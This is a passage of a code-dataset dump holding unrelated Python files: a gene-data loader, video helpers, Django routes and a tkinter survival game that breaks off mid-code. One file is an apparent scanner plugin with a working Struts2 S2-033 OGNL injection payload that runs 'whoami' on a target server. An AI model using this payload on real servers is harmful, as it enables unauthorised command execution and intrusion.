math.sin(rad)*L)\n cv2.line(img_in,(p3_x,p3_y),(p2_x,p2_y),(255,255,255),2,8)\n \n return img_in\n","sub_path":"xbai9_cv_hw1/Code/p7.py","file_name":"p7.py","file_ext":"py","file_size_in_byte":790,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"253110314","text":"import sys\nimport logging\nimport os\nsys.path.insert(0, '../LIb/')\nsys.path.insert(0, '../Variables/')\nfrom Validate_Input import *\nfrom Global import *\nCurrent_Location=os.path.dirname(os.path.realpath(__file__))\nLocation_Array=Current_Location.split('\\\\')\nLocation_Array.pop()\nLogFile='\\\\'.join(Location_Array)\nLogFile+='\\Log\\Logs.log'\n# print(LogFile)\n#Create and configure logger \nlogging.basicConfig(filename=LogFile, \n format='%(asctime)s %(message)s', \n filemode='a') \n \n#Creating an object \nlogger=logging.getLogger() \n \n#Setting the threshold of logger to DEBUG \nlogger.setLevel(logging.INFO) \nlogger.info('--------Starting-------')\nlogger.info(\"Log Level set to %s\", Log_Level) \nlogger.info(\"Calling Function Fun_Validate_input\") \nst=Fun_Validate_Input(sys.argv,['char','int'],LogFile)\nlogger.info('--------Exit-----------')\nprint(st)","sub_path":"Bin/checkfun.py","file_name":"checkfun.py","file_ext":"py","file_size_in_byte":883,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"219548815","text":"from yapsy.IPlugin import IPlugin\nfrom mrtarget.modules.GeneData import Gene\nfrom mrtarget.Settings import Config\nimport urllib2\nimport ujson as json\nfrom tqdm import tqdm\nimport logging\nlogging.basicConfig(level=logging.INFO)\n\nclass HGNC(IPlugin):\n\n def __init__(self, *args, **kwargs):\n self._logger = logging.getLogger(__name__)\n\n def print_name(self):\n self._logger.info(\"HGNC gene data plugin\")\n\n def merge_data(self, genes, loader, r_server, tqdm_out):\n self._logger.info(\"HGNC parsing - requesting from URL %s\" % Config.HGNC_COMPLETE_SET)\n req = urllib2.Request(Config.HGNC_COMPLETE_SET)\n response = urllib2.urlopen(req)\n self._logger.info(\"HGNC parsing - response code %s\" % response.code)\n data = json.loads(response.read())\n for row in tqdm(data['response']['docs'],\n desc='loading genes from HGNC',\n unit_scale=True,\n unit='genes',\n file=tqdm_out,\n leave=False):\n gene = Gene()\n gene.load_hgnc_data_from_json(row)\n genes.add_gene(gene)\n self._logger.info(\"STATS AFTER HGNC PARSING:\\n\" + genes.get_stats())\n","sub_path":"mrtarget/plugins/gene/hgnc.py","file_name":"hgnc.py","file_ext":"py","file_size_in_byte":1237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"275634006","text":"import numpy as np\nimport cv2\nfrom PIL import Image\nimport skvideo.io\nimport scipy.io\n\ndef read_img(path):\n return cv2.imread(str(path))[:,:,::-1]\n\ndef write_img(img, path):\n Image.fromarray(img).save(str(path))\n\ndef save_video_as_images(video_tensor, path):\n \"\"\"\n Save video frames into the directory\n\n Parameters\n ----------\n video_tensor: numpy.array\n video tensor in the shape of (frame, height, width, channel)\n \n path : pathlib.Path\n path to the video\n \"\"\"\n path.mkdir(parents=True, exist_ok=True)\n \n placeholder = str(path / \"{:03d}.jpg\")\n for i, frame in enumerate(video_tensor):\n write_img(frame, placeholder.format(i))\n\ndef read_video(path):\n \"\"\"\n read a video\n\n Parameters\n ----------\n path : string or pathlib.Path\n path to the video\n \n Returns\n -------\n video_tensor : numpy.array\n video tensor in the shape of (frame, height, width, channel)\n \"\"\"\n videogen = skvideo.io.vreader(str(path))\n video_tensor = np.stack([frame for frame in videogen])\n\n return video_tensor\n\ndef write_video(video_tensor, path, m=1):\n \"\"\"\n save a video\n\n Parameters\n ----------\n video_tensor: numpy.array\n video tensor in the shape of (frame, height, width, channel)\n \n path : string or pathlib.Path\n path to the video\n \"\"\"\n writer = skvideo.io.FFmpegWriter(str(path))\n if m > 0:\n m = int(m)\n video_tensor = np.repeat(video_tensor, m, axis=0)\n else:\n raise ValueError\n\n for frame in video_tensor:\n writer.writeFrame(frame)\n writer.close()\n\ndef read_depth_mat(path):\n data_dict = scipy.io.loadmat(str(path))\n \n i, depth_data = 1, []\n while True:\n key = \"depth_{}\".format(i)\n if not key in data_dict:\n break\n\n depth_data.append(data_dict[key])\n i += 1\n\n depth_data = np.stack(depth_data)\n return depth_data\n\ndef read_segm_mat(path):\n data_dict = scipy.io.loadmat(str(path))\n \n i, segm_data = 1, []\n while True:\n key = \"segm_{}\".format(i)\n if not key in data_dict:\n break\n\n segm_data.append(data_dict[key])\n i += 1\n\n segm_data = np.stack(segm_data)\n return segm_data\n\ndef read_joints_mat(path):\n data_dict = scipy.io.loadmat(str(path))\n joints2d = data_dict[\"joints2D\"]\n joints2d = joints2d.transpose(2, 1, 0)\n\n return joints2d\n","sub_path":"src/dataio.py","file_name":"dataio.py","file_ext":"py","file_size_in_byte":2450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"192167577","text":"#!/usr/bin/env python3\n\n'''\nname: Struts2 S2-033漏洞,又名CVE-2016-3087漏洞\ndescription: Struts2 S2-033漏洞可执行任意命令\n'''\n\nimport re\nimport urllib\nfrom app.lib.utils.common import get_capta\nfrom app.lib.utils.request import request\n\nclass S2_033_BaseVerify:\n def __init__(self, url):\n self.url = url \n self.capta = get_capta() \n self.headers = {\n 'User-Agent': \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 115Browser/6.0.3\"\n }\n self.check_payload = '''/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23process%3D@java.lang.Runtime@getRuntime%28%29.exec%28%23parameters.command[0]),%23ros%3D%28@org.apache.struts2.ServletActionContext@getResponse%28%29.getOutputStream%28%29%29%2C@org.apache.commons.io.IOUtils@copy%28%23process.getInputStream%28%29%2C%23ros%29%2C%23ros.flush%28%29,%23xx%3d123,%23xx.toString.json?&command=echo ''' + self.capta\n self.cmd_payload = '''/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23process%3D@java.lang.Runtime@getRuntime%28%29.exec%28%23parameters.command[0]),%23ros%3D%28@org.apache.struts2.ServletActionContext@getResponse%28%29.getOutputStream%28%29%29%2C@org.apache.commons.io.IOUtils@copy%28%23process.getInputStream%28%29%2C%23ros%29%2C%23ros.flush%28%29,%23xx%3d123,%23xx.toString.json?&command=whoami'''\n \n def run(self):\n if not self.url.startswith(\"http\") and not self.url.startswith(\"https\"):\n self.url = \"http://\" + self.url\n try:\n check_req = request.get(self.url + self.check_payload, headers = self.headers)\n if self.capta in check_req.text:\n cmd_req = request.get(self.url + self.cmd_payload, headers = self.headers)\n print('存在S2-033漏洞,执行whoami命令成功,结果为:', cmd_req.text)\n return True\n else:\n print('不存在S2-033漏洞!')\n return False\n except Exception as e:\n print(e)\n return False\n finally:\n pass\n\nif __name__ == \"__main__\":\n S2_033 = S2_033_BaseVerify('http://192.168.30.242:8080/S2-033/orders/3')\n S2_033.run()\n","sub_path":"python/app/plugins/http/Struts2/S2_033.py","file_name":"S2_033.py","file_ext":"py","file_size_in_byte":2277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"254663900","text":"from django.contrib import admin\nfrom django.urls import path, include, re_path\nfrom django.conf.urls.static import static\nfrom django.conf import settings\nfrom django.views.generic import TemplateView\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('api/aws/gallery/', include(\"gallery.api.urls\"), name='gallery-api'),\n path('api/event/likes/', include(\"thumbsup.api.urls\"), name='thumbsup-api'),\n path('api/me/', include('me.api.urls')),\n path('api/contact/', include('contact.api.urls')),\n path('api/subscribe/', include('subscribe.api.urls')),\n path('api/blog/', include('articles.api.urls')),\n path('api/comments/', include(\"comments.api.urls\"), name='comments-api'),\n path('api/banner/', include(\"banner.api.urls\"), name='banner-api'),\n path('api/journal/', include(\"journals.api.urls\"), name='journal-api'),\n path('api/event/', include(\"events.api.urls\"), name='events-api'),\n path('', include('accounts.api.urls')),\n re_path('.*', TemplateView.as_view(template_name='index.html'))\n\n]\nif settings.DEBUG:\n urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n","sub_path":"personal_blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"470512826","text":"import tkinter as tk\nfrom tkinter import ttk\nfrom PIL import Image, ImageTk\nimport random, math, re\n\nbgColour = \"#2f2f2f\"\nfgColour = \"#ffffff\"\n\nclass Item:\n\n def __init__(self, Type, durability, materialLevel):\n self.durability = durability\n self.maxDurability = durability\n self.materialLevel = materialLevel\n self.type = Type\n\n def use(self, degredation):\n self.durability -= degredation\n self.checkBreak()\n \n def checkBreak(self):\n if self.durability <= 0:\n del self\n\nclass MainWindow:\n def __init__(self, master):\n self.master = master # So that methods inside/outside this class can access \"master\"\n\n self.master.configure(background = \"#1f1f1f\", padx = 10, pady = 10)\n\n self.axeTools = tk.IntVar()\n self.pickaxeTools = tk.IntVar()\n self.bowTools = tk.IntVar()\n self.swordTools = tk.IntVar()\n\n self.inventory = []\n\n self.day = tk.IntVar(value = 1)\n self.energy = tk.IntVar(value = 5)\n self.wood = tk.IntVar(value = 5)\n self.stone = tk.IntVar(value = 5)\n self.meat = tk.IntVar(value = 5)\n self.inBattle = False\n self.deathCounter = 0\n self.health = tk.IntVar(value = 100)\n self.healthCap = 100\n\n self.level = tk.IntVar(value = 1)\n self.xpDisplay = tk.IntVar()\n self.xp = 0\n self.xpCap = 10\n self.skillPoints = 0\n\n self.STR = tk.IntVar(value = 1)\n self.INT = tk.IntVar(value = 1)\n self.VIT = tk.IntVar(value = 1)\n self.DEX = tk.IntVar(value = 1)\n\n # Name, Wood, Stone, Meat, Description\n self.recipes = [[\"axe\", 2, 2, 0, \"Increases Max Wood Gained By 3\"],\n [\"pickaxe\", 2, 2, 0, \"Increases Max Stone Gained By 3\"],\n [\"bow\", 2, 2, 0, \"Increases Max Meat Gained By 3\"],\n [\"sword\", 2, 2, 0, \"Increases Attack Damage By 3\"]]\n\n self.gatherSetting = tk.IntVar()\n self.logTextColour = tk.IntVar()\n self.showRecipeMenuSetting = tk.IntVar()\n\n self.inventoryFrame = tk.Frame(self.master, bg = bgColour)\n self.recipeFrame = tk.Frame(self.master, bg = bgColour)\n self.craftingFrame = tk.Frame(self.master, bg = bgColour)\n self.logFrame = tk.Frame(self.master)\n self.settingsFrame = tk.Frame(self.master, bg = bgColour)\n\n self.wrapperStatsFrame = tk.Frame(self.master, bg = bgColour)\n self.statsFrame = tk.Frame(self.wrapperStatsFrame, bg = bgColour)\n self.selectionFrame = tk.Frame(self.master, bg = \"#ffffff\")\n\n\n levelL = tk.Label(self.statsFrame, text = \"Level: \", bg = bgColour, fg = fgColour)\n levelValL = tk.Label(self.statsFrame, textvariable = self.level, bg = bgColour, fg = fgColour)\n\n xpPB = ttk.Progressbar(self.wrapperStatsFrame, mode = \"determinate\", orient = \"horizontal\", length = 100, variable = self.xpDisplay)\n\n strengthL = tk.Label(self.statsFrame, text = \"STR:\", bg = bgColour, fg = fgColour)\n strengthValL = tk.Label(self.statsFrame, textvariable = self.STR, bg = bgColour, fg = fgColour)\n strengthPlus = tk.Button(self.statsFrame, text = \"+\", bg = bgColour, fg = fgColour, command = lambda: self.levelUpSkill(self.STR))\n\n intelligenceL = tk.Label(self.statsFrame, text = \"INT:\", bg = bgColour, fg = fgColour)\n intelligenceValL = tk.Label(self.statsFrame, textvariable = self.INT, bg = bgColour, fg = fgColour)\n intelligencePlus = tk.Button(self.statsFrame, text = \"+\", bg = bgColour, fg = fgColour, command = lambda: self.levelUpSkill(self.INT))\n\n vitalityL = tk.Label(self.statsFrame, text = \"VIT:\", bg = bgColour, fg = fgColour)\n vitalityValL = tk.Label(self.statsFrame, textvariable = self.VIT, bg = bgColour, fg = fgColour)\n vitalityPlus = tk.Button(self.statsFrame, text = \"+\", bg = bgColour, fg = fgColour, command = lambda: self.levelUpSkill(self.VIT))\n\n dexterityL = tk.Label(self.statsFrame, text = \"DEX:\", bg = bgColour, fg = fgColour)\n dexterityValL = tk.Label(self.statsFrame, textvariable = self.DEX, bg = bgColour, fg = fgColour)\n dexterityPlus = tk.Button(self.statsFrame, text = \"+\", bg = bgColour, fg = fgColour, command = lambda: self.levelUpSkill(self.DEX))\n\n self.statsList = [strengthPlus,\n intelligencePlus,\n vitalityPlus,\n dexterityPlus]\n\n gatherB = tk.Button(self.inventoryFrame, text = \"Gather\", command = self.gather, bg = bgColour, fg = fgColour)\n restB = tk.Button(self.inventoryFrame, text = \"Rest\", command = self.rest, bg = bgColour, fg = fgColour)\n huntB = tk.Button(self.inventoryFrame, text = \"Hunt\", command = self.hunt, bg = bgColour, fg = fgColour)\n\n healthL = tk.Label(self.inventoryFrame, text = \"Health:\", bg = bgColour, fg = fgColour)\n healthValL = tk.Label(self.inventoryFrame, textvariable = self.health, bg = bgColour, fg = fgColour)\n\n dayL = tk.Label(self.inventoryFrame, text = \"Day: \", bg = bgColour, fg = fgColour)\n dayValL = tk.Label(self.inventoryFrame, textvariable = self.day, bg = bgColour, fg = fgColour)\n\n energyL = tk.Label(self.inventoryFrame, text = \"Energy:\", bg = bgColour, fg = fgColour)\n energyValL = tk.Label(self.inventoryFrame, textvariable = self.energy, bg = bgColour, fg = fgColour)\n\n woodL = tk.Label(self.inventoryFrame, text = \"Wood:\", bg = bgColour, fg = fgColour)\n woodValL = tk.Label(self.inventoryFrame, textvariable = self.wood, bg = bgColour, fg = fgColour)\n\n stoneL = tk.Label(self.inventoryFrame, text = \"Stone:\", bg = bgColour, fg = fgColour)\n stoneValL = tk.Label(self.inventoryFrame, textvariable = self.stone, bg = bgColour, fg = fgColour)\n\n meatL = tk.Label(self.inventoryFrame, text = \"Meat:\", bg = bgColour, fg = fgColour)\n meatValL = tk.Label(self.inventoryFrame, textvariable = self.meat, bg = bgColour, fg = fgColour)\n\n self.log = tk.Text(self.logFrame, height = 10, width = 50)\n\n gatherTextS = tk.Checkbutton(self.settingsFrame, text = \"Disable Gather Messages\", variable = self.gatherSetting, bg = bgColour, fg = fgColour, selectcolor = bgColour)\n logTextColourS = tk.Checkbutton(self.settingsFrame, text = \"Disable Log Text Colour\", variable = self.logTextColour, bg = bgColour, fg = fgColour, selectcolor = bgColour)\n showCraftingMenuS = tk.Checkbutton(self.settingsFrame, text = \"Toggle Recipe Menu\", variable = self.showRecipeMenuSetting, command = self.toggleRecipeMenu, bg = bgColour, fg = fgColour, selectcolor = bgColour)\n cheatMenuS = tk.Button(self.settingsFrame, text = \"Open Cheat Menu\", command = self.createCheatMenu, bg = bgColour, fg = fgColour)\n\n dungeonB = tk.Button(self.selectionFrame, text = \"Dungeon - Sword recommended\", command = self.createDungeon, bg = bgColour, fg = fgColour)\n\n invB = tk.Button(self.selectionFrame, text = \"Inventory\", command = self.createInventory, bg = bgColour, fg = fgColour)\n\n self.selectionFrame.grid(row = 0, column = 0, sticky = \"ew\", columnspan = 3, ipady = 5)\n dungeonB.grid(row = 0, column = 0, pady = (5,0), padx = 5)\n invB.grid(row = 0, column = 1, pady = (5,0), padx = 5)\n\n self.inventoryFrame.grid(row = 1, column = 0)\n\n healthL.grid(row = 0, column = 0)\n healthValL.grid(row = 0, column = 1)\n\n dayL.grid(row = 1, column = 0)\n dayValL.grid(row = 1, column = 1)\n\n energyL.grid(row = 2, column = 0)\n energyValL.grid(row = 2, column = 1)\n\n woodL.grid(row = 3, column = 0)\n woodValL.grid(row = 3, column = 1)\n\n stoneL.grid(row = 4, column = 0)\n stoneValL.grid(row = 4, column = 1)\n\n meatL.grid(row = 5, column = 0)\n meatValL.grid(row = 5, column = 1)\n\n gatherB.grid(row = 6, column = 0)\n restB.grid(row = 6, column = 1)\n huntB.grid(row = 6, column = 2)\n\n self.wrapperStatsFrame.grid(row = 1, column = 2)\n\n levelL.grid(row = 0, column = 0)\n levelValL.grid(row = 0, column = 1)\n\n xpPB.grid(row = 0, column = 0)\n\n self.statsFrame.grid(row = 1, column = 0)\n\n strengthL.grid(row = 1, column = 0)\n strengthValL.grid(row = 1, column = 1)\n strengthPlus.grid(row = 1, column = 2, padx = 15, sticky = \"e\")\n\n intelligenceL.grid(row = 2, column = 0)\n intelligenceValL.grid(row = 2, column = 1)\n intelligencePlus.grid(row = 2, column = 2, padx = 15, sticky = \"e\")\n\n vitalityL.grid(row = 3, column = 0)\n vitalityValL.grid(row = 3, column = 1)\n vitalityPlus.grid(row = 3, column = 2, padx = 15, sticky = \"e\")\n\n dexterityL.grid(row = 3, column = 0)\n dexterityValL.grid(row = 3, column = 1)\n dexterityPlus.grid(row = 3, column = 2, padx = 15, sticky = \"e\")\n\n strengthPlus.grid_remove()\n intelligencePlus.grid_remove()\n vitalityPlus.grid_remove()\n dexterityPlus.grid_remove()\n\n self.logFrame.grid(row = 1, column = 1, padx = 10, pady = 10)\n\n self.log.grid(row = 0, column = 0, ipady = 100)\n\n self.settingsFrame.grid(row = 2, column = 2, padx = 10, pady = 10)\n gatherTextS.grid(row = 0, column = 0, sticky = \"w\")\n logTextColourS.grid(row = 1, column = 0, sticky = \"w\")\n showCraftingMenuS.grid(row = 2, column = 0, sticky = \"w\")\n cheatMenuS.grid(row = 3, column = 0, sticky = \"ew\")\n\n self.recipeFrame.grid(row = 2, column = 1, ipadx = 10)\n\n for y,x in enumerate(self.recipes):\n tk.Label(self.recipeFrame, text = \"{} : {} Wood, {} Stone, {} Meat - {}\".format(x[0].title(), x[1], x[2], x[3], x[4]), bg = bgColour, fg = fgColour).grid(row = y, column = 0)\n\n self.craftB = tk.Button(self.craftingFrame, text = \"Craft:\", command = self.checkCrafting, bg = bgColour, fg = fgColour)\n self.craftEntryE = tk.Entry(self.craftingFrame, bg = bgColour, fg = fgColour)\n\n self.craftingFrame.grid(row = 2, column = 0)\n self.craftB.grid(row = 0, column = 0)\n self.craftEntryE.grid(row = 0, column = 1)\n\n\n def gather(self):\n energyCost = 1\n if self.inBattle == False: # If the person isn't in battle\n if self.energy.get() >= energyCost:\n # Do we have tools to use?\n if self.checkTool(\"axe\") != None:\n inc1 = random.randint(1, 5)\n self.checkTool(\"axe\").use(1)\n print(self.checkTool(\"axe\").durability)\n else:\n inc1 = random.randint(1, 2)\n\n if self.checkTool(\"pickaxe\") != None:\n inc2 = random.randint(1, 5)\n self.checkTool(\"pickaxe\").use(1)\n print(self.checkTool(\"pickaxe\").durability)\n else:\n inc2 = random.randint(1, 2)\n\n # Change the values of our wood and stone\n self.wood.set(inc1 + self.wood.get())\n self.stone.set(inc2 + self.stone.get())\n\n # Take the energy used to complete the action\n self.energy.set(self.energy.get() - energyCost)\n\n # Advance the day counter\n self.passDay()\n\n self.addXp(1) # Give the player 1 xp\n\n # If the user doesn't want Gather text\n if self.gatherSetting.get() == 1:\n pass\n else: # If they do\n self.printToLog(self.log, \"You gathered {} wood\\nYou gathered {} stone\\n\".format(inc1, inc2), \"blue\", 2)\n\n else: # If we don't have enough energy to complete the action\n self.printToLog(self.log, \"You don't have enough energy to Gather\\n\", \"red\", 1)\n return # Stop the function\n\n else: # If the person is in battle\n self.printToLog(self.log, \"You are in battle and can't gather.\\n\", \"red\", 1)\n return # Stop the function\n\n self.eatMeat() # Eat food\n\n\n def rest(self):\n if self.inBattle == False: # If the person isn't in battle\n self.energy.set(self.energy.get() + 4) # Add the energy gained\n self.passDay() # Advance the day counter\n self.checkClearLog(self.log) # Check if we should clear the log\n self.eatMeat() # Eat food\n self.recover(\"rest\")\n\n else:\n self.printToLog(self.log, \"You are in battle and can't rest.\\n\", \"red\", 1)\n return\n\n\n def hunt(self):\n energyCost = 1\n\n if self.inBattle is False:\n if self.energy.get() >= energyCost: # If we have enough energy to hunt\n\n if self.checkTool(\"bow\") != None:\n gained = random.randint(2, 5)\n self.checkTool(\"bow\").use(1)\n print(self.checkTool(\"bow\").durability)\n else:\n gained = random.randint(2, 3)\n\n self.meat.set(self.meat.get() + gained) # Add the meat gained\n\n self.energy.set(self.energy.get() - energyCost) # Take away the energy needed\n\n self.addXp(1) # Give the player 1 xp\n\n if self.gatherSetting.get() == 1: # If the user doesn't want gather messages, don't display anything\n pass\n\n else: # If they do want them :\n self.printToLog(self.log, \"You gathered {} meat\\n\".format(gained), \"blue\", 1)\n\n else: # If we don't have enough energy\n self.printToLog(self.log, \"You don't have enough energy to Hunt\\n\", \"red\", 1)\n return # Stop the function\n\n else:\n self.printToLog(self.log, \"You are in battle and can't hunt.\\n\", \"red\", 1)\n return\n\n self.eatMeat()\n\n self.passDay()\n\n def checkTool(self, strType):\n for x in self.inventory:\n if x.type == strType.lower():\n return x\n else:\n return None\n\n def passDay(self):\n \"\"\"\n Advance the day counter and roll an encounter\n \"\"\"\n\n self.day.set(self.day.get() + 1)\n self.encounter(False)\n self.recover(\"pass\")\n\n def recover(self, act):\n \"\"\"\n Regenerate health\n \"\"\"\n\n if act == \"rest\":\n self.health.set(self.health.get() + 10)\n elif act == \"pass\":\n self.health.set(self.health.get() + 5)\n\n if self.health.get() > self.healthCap:\n self.health.set(self.healthCap)\n\n\n def eatMeat(self):\n\n if self.meat.get() <= 0: # If we run out of meat\n self.deathCounter += 1 # Add 1 to the death Counter\n if self.deathCounter == 1:\n self.printToLog(self.log, \"You have no food and didn't eat. Your body starts to wither\\n\".upper(), \"red\", 1)\n elif self.deathCounter == 2:\n self.printToLog(self.log, \"You have no food and didn't eat once again\\nYou become so weak, you can barely walk. You need to eat\\n\".upper(), \"red\", 2)\n else: # If we have enough meat to eat\n self.meat.set(self.meat.get() - 1) # \"Eat\" it\n\n if self.deathCounter == 3: # Once we go 3 days without meat\n self.printToLog(self.log, \"You Have Died From Starvation\", \"red\", 1)\n self.master.destroy()\n\n\n def addXp(self, add):\n self.xp += add\n self.xpDisplay.set((self.xp / self.xpCap) * 100)\n\n while self.xp >= math.floor(self.xpCap): # if we can level up\n self.level.set(self.level.get() + 1)\n self.skillPoints += 1\n self.xp -= math.floor(self.xpCap)\n self.xpCap = self.xpCap * 1.5 # Increase by 50%\n self.xpDisplay.set(0)\n self.printToLog(self.log, \"You leveled up!\\n\", \"green\", 1)\n\n self.checkSkillPoints()\n\n\n def encounter(self, definite):\n\n if definite == False: # If the encounter isn't definite\n chance = random.choice([0]* 95 + [1] * 5)\n if chance == 1:\n self.inBattle = True\n\n Battle = BattleMenu(self)\n\n else:\n pass\n\n else: # If definite == True\n self.inBattle = True\n\n Battle = BattleMenu(self)\n\n# enemyLevel = level.get() - levelModifier\n# if enemyLevel < 1:\n# enemyLevel = 1\n\n\n def checkClearLog(self, widget):\n \"\"\"\n Finds how long the log is. If it is over an amount, clear the log\n \"\"\"\n\n inp = widget.get(\"1.0\", tk.END)\n lines = re.findall(r\"\\w*\\n\", inp)\n if len(lines) >= 20:\n widget.delete(\"1.0\", tk.END)\n\n\n def colourText(self, widget, colour, linesWritten):\n \"\"\"\n Gives the text a colour depending on the arguments\n colourText(String - The colour you want, Int - How many lines from the bottom you want coloured)\n \"\"\"\n\n if self.logTextColour.get() == 1:\n pass\n\n elif self.logTextColour.get() == 0:\n endOfLog = float(widget.index(tk.END)) - 1.0\n lines = float(endOfLog) - float(linesWritten)\n\n name = str(random.randint(0, 10**100))\n\n widget.tag_add(name, lines, endOfLog)\n widget.tag_configure(name, foreground = colour)\n\n\n def printToLog(self, widget, text, colour, lines):\n \"\"\"\n A combination of checkClearLog, log.insert and colourText\n printToLog(String - Text you want printed, String - The colour you want, Int - How many lines from the bottom you want coloured)\n \"\"\"\n\n self.checkClearLog(widget)\n widget.insert(tk.END, text)\n self.colourText(widget, colour, lines)\n\n\n def levelUpSkill(self, skill):\n\n skill.set(skill.get() + 1)\n self.skillPoints -= 1\n\n self.checkSkillPoints()\n\n\n def checkSkillPoints(self):\n global skillPoints\n\n if self.skillPoints >= 1:\n for x in self.statsList:\n x.grid()\n else:\n for x in self.statsList:\n x.grid_remove()\n\n\n def toggleRecipeMenu(self):\n if self.showRecipeMenuSetting.get() == 0:\n self.recipeFrame.grid()\n self.logFrame.grid_remove()\n self.logFrame.grid(rowspan = 1)\n\n elif self.showRecipeMenuSetting.get() == 1:\n self.recipeFrame.grid_remove()\n self.logFrame.grid_remove()\n self.logFrame.grid(rowspan = 2)\n\n\n def checkCrafting(self):\n for x in self.recipes:\n if x[0] == self.craftEntryE.get().lower(): # If the user input matches the name of a recipe\n if x[1] <= self.wood.get() and x[2] <= self.stone.get() and x[3] <= self.meat.get(): # If we have enough wood and stone and meat\n # Consume the wood, stone and meat\n self.wood.set(self.wood.get() - x[1])\n self.stone.set(self.stone.get() - x[2])\n self.meat.set(self.meat.get() - x[3])\n\n self.inventory.append(Item(x[0])) # Add a new Tool instance to the inventory\n\n self.printToLog(self.log, \"You crafted a {}\\n\".format(x[0]), \"green\", 1)\n\n self.craftEntryE.delete(0, tk.END) # Delete whatever is written in the Entry box\n\n self.addXp(10) # Give the player 10 xp\n\n\n def createCheatMenu(self):\n self.cheatMenu = CheatMenu(self)\n\n def createDungeon(self):\n self.dungeonMenu = DungeonMenu(self)\n\n def createInventory(self):\n self.inventoryMenu = InventoryMenu(self)\n\n#####################################################################################################\n\nclass CheatMenu:\n def __init__(self, rootWindow):\n \"\"\"\n Init method of the Cheat Menu. Creating widgets and initializing variables\n \"\"\"\n self.rootWindow = rootWindow\n\n cheatWindow = tk.Toplevel(self.rootWindow)\n cheatWindow.configure(background = bgColour)\n\n wrapper = tk.Frame(cheatWindow, bg = bgColour)\n\n self.HCE = tk.IntVar(value = rootWindow.health.get())\n healthCheatL = tk.Label(wrapper, text = \"Health :\", bg = bgColour, fg = fgColour)\n healthCheatE = tk.Entry(wrapper, textvariable = self.HCE, bg = bgColour, fg = fgColour)\n\n self.HCCE = tk.IntVar(value = rootWindow.healthCap)\n healthCapCheatL = tk.Label(wrapper, text = \"Health Cap:\", bg = bgColour, fg = fgColour)\n healthCapCheatE = tk.Entry(wrapper, textvariable = self.HCCE, bg = bgColour, fg = fgColour)\n\n self.EE = tk.IntVar(value = rootWindow.energy.get())\n energyCheatL = tk.Label(wrapper, text = \"Energy:\", bg = bgColour, fg = fgColour)\n energyCheatE = tk.Entry(wrapper, textvariable = self.EE, bg = bgColour, fg = fgColour)\n\n self.SE = tk.IntVar(value = rootWindow.stone.get())\n stoneCheatL = tk.Label(wrapper, text = \"Stone:\", bg = bgColour, fg = fgColour)\n stoneCheatE = tk.Entry(wrapper, textvariable = self.SE, bg = bgColour, fg = fgColour)\n\n self.WE = tk.IntVar(value = rootWindow.wood.get())\n woodCheatL = tk.Label(wrapper, text = \"Wood:\", bg = bgColour, fg = fgColour)\n woodCheatE = tk.Entry(wrapper, textvariable = self.WE, bg = bgColour, fg = fgColour)\n\n self.ME = tk.IntVar(value = rootWindow.meat.get())\n meatCheatL = tk.Label(wrapper, text = \"Meat:\", bg = bgColour, fg = fgColour)\n meatCheatE = tk.Entry(wrapper, textvariable = self.ME, bg = bgColour, fg = fgColour)\n\n ##################\n\n def setValues(self, rootWindow):\n \"\"\"\n A function inside the cheat menu.\n It gets the values currently in the boxes and sets the corresponding variables to them\n \"\"\"\n\n rootWindow.health.set(int(healthCheatE.get()))\n rootWindow.healthCap = int(healthCapCheatE.get())\n rootWindow.energy.set(int(energyCheatE.get()))\n rootWindow.stone.set(int(stoneCheatE.get()))\n rootWindow.wood.set(int(woodCheatE.get()))\n rootWindow.meat.set(int(meatCheatE.get()))\n\n\n ##################\n\n setCheats = tk.Button(wrapper, text = \"Set Values\", command = lambda: setValues(self, rootWindow), bg = bgColour, fg = fgColour)\n\n setCheats.grid()\n\n wrapper.grid(padx = 20, pady = 20)\n\n healthCheatL.grid(row = 1, column = 0)\n healthCheatE.grid(row = 1, column = 1)\n\n healthCapCheatL.grid(row = 2, column = 0)\n healthCapCheatE.grid(row = 2, column = 1)\n\n energyCheatL.grid(row = 3, column = 0)\n energyCheatE.grid(row = 3, column = 1)\n\n stoneCheatL.grid(row = 4, column = 0)\n stoneCheatE.grid(row = 4, column = 1)\n\n woodCheatL.grid(row = 5, column = 0)\n woodCheatE.grid(row = 5, column = 1)\n\n meatCheatL.grid(row = 6, column = 0)\n meatCheatE.grid(row = 6, column = 1)\n\n#####################################################################################################\n\nclass BattleMenu:\n def __init__(self, rootWindow):\n\n self.baseFleeChance = 25 + (rootWindow.DEX.get() * 5) # Each DEX point adds 5% extra chance to flee\n # Name, Base Health, Base Attack, Base Defence\n self.enemies = [[\"Rat\", 20, 10, 0],\n [\"Bat\", 10, 25, 1],\n [\"Cockroach\", 25, 15, 2]]\n\n self.battleWindow = tk.Toplevel()\n self.battleWindow.configure(background = bgColour)\n\n wrapper = tk.Frame(self.battleWindow, bg = bgColour)\n\n playerHealthFrame = tk.Frame(wrapper, bg = bgColour)\n enemyHealthFrame = tk.Frame(wrapper, bg = bgColour)\n actionFrame = tk.Frame(wrapper, bg = bgColour)\n\n self.playerDisplayHealth = tk.IntVar(value = (rootWindow.health.get() / rootWindow.healthCap) * 100)\n playerHealthL = tk.Label(playerHealthFrame, text = \"Player Health:\", bg = bgColour, fg = fgColour)\n playerHealthPB = ttk.Progressbar(playerHealthFrame, mode = \"determinate\", orient = \"horizontal\", length = 100, variable = self.playerDisplayHealth)\n\n self.enemyDisplayHealth = tk.IntVar()\n enemyHealthL = tk.Label(enemyHealthFrame, text = \"Enemy Health:\", bg = bgColour, fg = fgColour)\n enemyHealthPB = 